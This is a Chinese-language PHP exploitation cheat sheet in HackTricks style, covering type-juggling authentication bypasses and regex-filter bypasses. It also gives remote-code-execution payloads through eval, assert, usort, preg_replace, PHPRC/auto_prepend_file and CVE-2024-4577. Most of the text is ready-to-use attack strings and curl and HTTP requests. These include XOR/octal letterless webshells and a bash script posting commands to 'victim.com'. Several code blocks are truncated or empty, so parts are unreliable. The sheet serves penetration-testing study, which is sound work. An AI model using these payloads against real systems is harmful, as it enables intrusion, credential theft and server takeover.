# PHP Tricks
{{#include ../../../banners/hacktricks-training.md}}
## Cookies common location:
这同样适用于 phpMyAdmin cookies。
Cookies:
```
PHPSESSID
phpMyAdmin
```
位置:
```
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
```
## 绕过 PHP 比较
### 松散比较/类型转换 ( == )
如果在 PHP 中使用 `==`,则会出现一些意外情况,比较的行为并不如预期。这是因为 "==" 只比较转换为相同类型的值,如果你还想比较被比较数据的类型是否相同,你需要使用 `===`。
PHP 比较表: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
.png>)
{{#file}}
EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
{{#endfile}}
- `"string" == 0 -> True` 一个不以数字开头的字符串等于一个数字
- `"0xAAAA" == "43690" -> True` 由十进制或十六进制格式的数字组成的字符串可以与其他数字/字符串进行比较,如果数字相同则结果为 True(字符串中的数字被解释为数字)
- `"0e3264578" == 0 --> True` 一个以 "0e" 开头并后跟任何内容的字符串将等于 0
- `"0X3264578" == 0X --> True` 一个以 "0" 开头并后跟任何字母(X 可以是任何字母)和后跟任何内容的字符串将等于 0
- `"0e12334" == "0" --> True` 这非常有趣,因为在某些情况下,你可以控制 "0" 的字符串输入以及与之进行哈希和比较的某些内容。因此,如果你可以提供一个值,该值将创建一个以 "0e" 开头且没有任何字母的哈希,你可以绕过比较。你可以在这里找到 **已经哈希的字符串**: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
- `"X" == 0 --> True` 字符串中的任何字母等于 int 0
更多信息请见 [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
### **in_array()**
**类型转换** 也默认影响 `in_array()` 函数(你需要将第三个参数设置为 true 以进行严格比较):
```php
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
```
### strcmp()/strcasecmp()
如果此函数用于 **任何身份验证检查**(例如检查密码),并且用户控制比较的一侧,他可以发送一个空数组而不是字符串作为密码的值(`https://example.com/login.php/?username=admin&password[]=`),从而绕过此检查:
```php
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
```
同样的错误发生在 `strcasecmp()`
### 严格类型转换
即使使用了 `===`,也可能会出现错误,使得比较容易受到类型转换的影响。例如,如果比较是在比较之前将数据转换为不同类型的对象:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
### preg_match(/^.\*/)
**`preg_match()`** 可用于 **验证用户输入**(它 **检查** 是否有任何 **单词/正则表达式** 在 **黑名单** 中 **出现在** **用户输入** 中,如果没有,代码可以继续执行)。
#### New line bypass
然而,当限定正则表达式的开始时,`preg_match()` **仅检查用户输入的第一行**,因此如果你能够以 **多行** 发送输入,你可能能够绕过此检查。示例:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
```
要绕过此检查,您可以**使用 URL 编码发送带有换行符的值**(`%0A`),或者如果您可以发送**JSON 数据**,则将其分成**多行**发送:
```php
{
"cmd": "cat /etc/passwd"
}
```
找到一个示例在这里: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
#### **长度错误绕过**
(这个绕过显然是在 PHP 5.2.5 上尝试的,我无法在 PHP 7.3.15 上使其工作)\
如果你可以发送一个有效的非常 **大的输入** 给 `preg_match()`,它 **将无法处理它**,你将能够 **绕过** 检查。例如,如果它正在黑名单一个 JSON,你可以发送:
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
从: [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0)
#### ReDoS 绕过
技巧来源: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) 和 [https://mizu.re/post/pong](https://mizu.re/post/pong)
简而言之,问题发生是因为 PHP 中的 `preg_*` 函数基于 [PCRE 库](http://www.pcre.org/)。在 PCRE 中,某些正则表达式通过大量递归调用进行匹配,这会消耗大量的栈空间。可以设置允许的递归次数限制,但在 PHP 中,这个限制 [默认为 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit),这超过了栈的容量。
[这个 Stackoverflow 线程](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) 也在帖子中被链接,深入讨论了这个问题。我们的任务现在很明确:\
**发送一个输入,使正则表达式进行 100_000+ 次递归,导致 SIGSEGV,使得 `preg_match()` 函数返回 `false`,从而使应用程序认为我们的输入不是恶意的,在有效负载的最后抛出一个惊喜,例如 `{system()}` 以获得 SSTI --> RCE --> flag :)**。
好吧,从正则表达式的角度来看,我们实际上并不是在进行 100k 次“递归”,而是在计算“回溯步骤”,正如 [PHP 文档](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) 所述,它在 `pcre.backtrack_limit` 变量中默认为 1_000_000(1M)。\
要达到这个,`'X'*500_001` 将导致 100 万个回溯步骤(50万向前和50万向后):
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```
### PHP 混合类型用于混淆
```php
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
```
## Execute After Redirect (EAR)
如果 PHP 在重定向到另一个页面后没有调用 **`die`** 或 **`exit`** 函数,且在设置了头部 `Location` 后,PHP 将继续执行并将数据附加到主体:
```php
```
## 路径遍历和文件包含漏洞利用
检查:
{{#ref}}
../../../pentesting-web/file-inclusion/
{{#endref}}
## 更多技巧
- **register_globals**: 在 **PHP < 4.1.1.1** 或者如果配置错误,**register_globals** 可能是激活的(或者其行为被模仿)。这意味着在全局变量如 $\_GET 中,如果它们有值,例如 $\_GET\["param"]="1234",你可以通过 **$param 访问它。因此,通过发送 HTTP 参数,你可以覆盖在代码中使用的变量\*\*。
- **同一域的 PHPSESSION cookies 存储在同一位置**,因此如果在一个域中 **不同路径使用不同的 cookies**,你可以使该路径 **访问该路径的 cookie**,设置其他路径 cookie 的值。\
这样,如果 **两个路径访问同名变量**,你可以使 **路径1中的该变量的值应用于路径2**。然后路径2将视路径1的变量为有效(通过给 cookie 赋予在路径2中对应的名称)。
- 当你拥有机器用户的 **用户名** 时。检查地址: **/\~\** 以查看 php 目录是否被激活。
- [**使用 php 包装器的 LFI 和 RCE**](../../../pentesting-web/file-inclusion/index.html)
### password_hash/password_verify
这些函数通常在 PHP 中用于 **从密码生成哈希** 并 **检查** 密码是否与哈希匹配。\
支持的算法有:`PASSWORD_DEFAULT` 和 `PASSWORD_BCRYPT`(以 `$2y$` 开头)。请注意,**PASSWORD_DEFAULT 通常与 PASSWORD_BCRYPT 相同。** 目前,**PASSWORD_BCRYPT** 在输入上有 **72字节的大小限制**。因此,当你尝试用该算法对大于 72 字节的内容进行哈希时,仅会使用前 72B:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
```
### HTTP headers bypass abusing PHP errors
#### Causing error after setting headers
从 [**这个推特线程**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) 你可以看到,发送超过 1000 个 GET 参数或 1000 个 POST 参数或 20 个文件时,PHOP 不会在响应中设置头部。
这允许绕过例如在代码中设置的 CSP 头部,如:
```php
)
## PHP 函数中的 SSRF
查看页面:
{{#ref}}
php-ssrf.md
{{#endref}}
## 代码执行
**system("ls");**\
NAN;**\`ls\`;**\
**shell_exec("ls");**
[查看此处以获取更多有用的 PHP 函数](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
### **通过** **preg_replace()** **进行 RCE**
```php
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
```
要执行“replace”参数中的代码,至少需要一个匹配项。\
此选项在 PHP 5.5.0 中已被**弃用**。
### **通过 Eval() 进行 RCE**
```
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
```
### **通过 Assert() 实现 RCE**
此函数在 php 中允许您 **执行以字符串形式编写的代码** 以 **返回 true 或 false**(并根据此改变执行)。通常用户变量会插入到字符串中间。例如:\
`assert("strpos($_GET['page']),'..') === false")` --> 在这种情况下,要获得 **RCE**,您可以这样做:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
您需要**破坏**代码**语法**,**添加**您的**有效载荷**,然后**再修复它**。您可以使用**逻辑运算**,例如“**and"或"%26%26"或"|"**。请注意,“or”,“||”不起作用,因为如果第一个条件为真,我们的有效载荷将不会被执行。同样,“;”也不起作用,因为我们的有效载荷不会被执行。
**另一个选项**是将命令的执行添加到字符串中:`'.highlight_file('.passwd').'`
**另一个选项**(如果您有内部代码)是修改某个变量以改变执行:`$file = "hola"`
### **通过 usort() 进行 RCE**
此函数用于使用特定函数对项目数组进行排序。\
要滥用此函数:
```php
VALUE: );phpinfo();#
```
```php
VALUE: );}[PHP CODE];#
```
您还可以使用 **//** 注释代码的其余部分。
要发现您需要关闭的括号数量:
- `?order=id;}//`:我们收到一条错误消息(`Parse error: syntax error, unexpected ';'`)。我们可能缺少一个或多个括号。
- `?order=id);}//`:我们收到一个 **警告**。这似乎是正确的。
- `?order=id));}//`:我们收到一条错误消息(`Parse error: syntax error, unexpected ')' i`)。我们可能有太多的闭合括号。
### **通过 .httaccess 进行 RCE**
如果您可以 **上传** 一个 **.htaccess** 文件,那么您可以 **配置** 多个内容,甚至执行代码(配置带有 .htaccess 扩展名的文件可以被 **执行**)。
不同的 .htaccess shell 可以在 [这里](https://github.com/wireghoul/htshells) 找到。
### 通过环境变量进行 RCE
如果您发现一个漏洞,允许您 **修改 PHP 中的环境变量**(还有另一个漏洞可以上传文件,尽管经过更多研究可能可以绕过),您可以利用这种行为来获取 **RCE**。
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path):此环境变量允许您在执行其他二进制文件时加载任意库(尽管在这种情况下可能不起作用)。
- **`PHPRC`**:指示 PHP **在哪里查找其配置文件**,通常称为 `php.ini`。如果您可以上传自己的配置文件,则使用 `PHPRC` 指向它。添加一个 **`auto_prepend_file`** 条目,指定第二个上传的文件。这个第二个文件包含正常的 **PHP 代码,然后由 PHP 运行时执行**,在任何其他代码之前。
1. 上传一个包含我们的 shellcode 的 PHP 文件
2. 上传第二个文件,包含一个 **`auto_prepend_file`** 指令,指示 PHP 预处理器执行我们在步骤 1 中上传的文件
3. 将 `PHPRC` 变量设置为我们在步骤 2 中上传的文件。
- 获取更多关于如何执行此链的信息 [**来自原始报告**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)。
- **PHPRC** - 另一个选项
- 如果您 **无法上传文件**,您可以在 FreeBSD 中使用 "file" `/dev/fd/0`,它包含 **`stdin`**,即发送到 `stdin` 的请求 **主体**:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
- 或者要获取 RCE,启用 **`allow_url_include`** 并预先添加一个包含 **base64 PHP 代码** 的文件:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
- 技术 [**来自此报告**](https://vulncheck.com/blog/juniper-cve-2023-36845)。
### XAMPP CGI RCE - CVE-2024-4577
Web 服务器解析 HTTP 请求并将其传递给执行请求的 PHP 脚本,例如 [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com),作为 `php.exe cgi.php foo=bar`,这允许参数注入。这将允许注入以下参数以从主体加载 PHP 代码:
```jsx
-d allow_url_include=1 -d auto_prepend_file=php://input
```
此外,由于后续的 PHP 规范化,可以使用 0xAD 字符注入 "-" 参数。请查看来自 [**这篇文章**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/) 的漏洞示例:
```jsx
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
```
## PHP Sanitization bypass & Brain Fuck
[**在这篇文章中**](https://blog.redteam-pentesting.de/2024/moodle-rce/) 可以找到生成一个脑残 PHP 代码的好主意,允许的字符非常少。\
此外,还提出了一种有趣的方法来执行函数,使他们能够绕过多个检查:
```php
(1)->{system($_GET[chr(97)])}
```
## PHP 静态分析
查看您是否可以在对这些函数的调用中插入代码(来自 [here](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)):
```php
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
```
如果您正在调试 PHP 应用程序,可以在 `/etc/php5/apache2/php.ini` 中全局启用错误打印,添加 `display_errors = On` 并重启 apache: `sudo systemctl restart apache2`
### 反混淆 PHP 代码
您可以使用 **web**[ **www.unphp.net**](http://www.unphp.net) **来反混淆 php 代码。**
## PHP 包装器和协议
PHP 包装器和协议可能允许您 **绕过系统中的读写保护** 并危害系统。有关 [**更多信息,请查看此页面**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols)。
## Xdebug 未经身份验证的 RCE
如果您在 `phpconfig()` 输出中看到 **Xdebug** 已 **启用**,您应该尝试通过 [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) 获取 RCE。
## 变量变量
```php
$x = 'Da';
$$x = 'Drums';
echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
```
## RCE 利用新的 $\_GET\["a"]\($\_GET\["b")
如果在一个页面中你可以 **创建一个任意类的新对象**,你可能能够获得 RCE,查看以下页面以了解如何:
{{#ref}}
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
{{#endref}}
## 无字母执行 PHP
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
### 使用八进制
```php
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
```
### **XOR**
```php
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
```
### XOR 简易 Shell 代码
根据 [**这篇文章** ](https://mgp25.com/ctf/Web-challenge/)以下方式可以生成一个简易的 Shellcode:
```php
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```
所以,如果你可以 **在没有数字和字母的情况下执行任意 PHP**,你可以发送如下请求,利用该有效载荷执行任意 PHP:
```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
```
对于更深入的解释,请查看 [https://ctf-wiki.org/web/php/php/#preg_match](https://ctf-wiki.org/web/php/php/#preg_match)
### XOR Shellcode (inside eval)
```bash
#!/bin/bash
if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi
CMD=$1
CODE="\$_='\
```
```php
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
```
```php
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
```
### Perl 类似
```php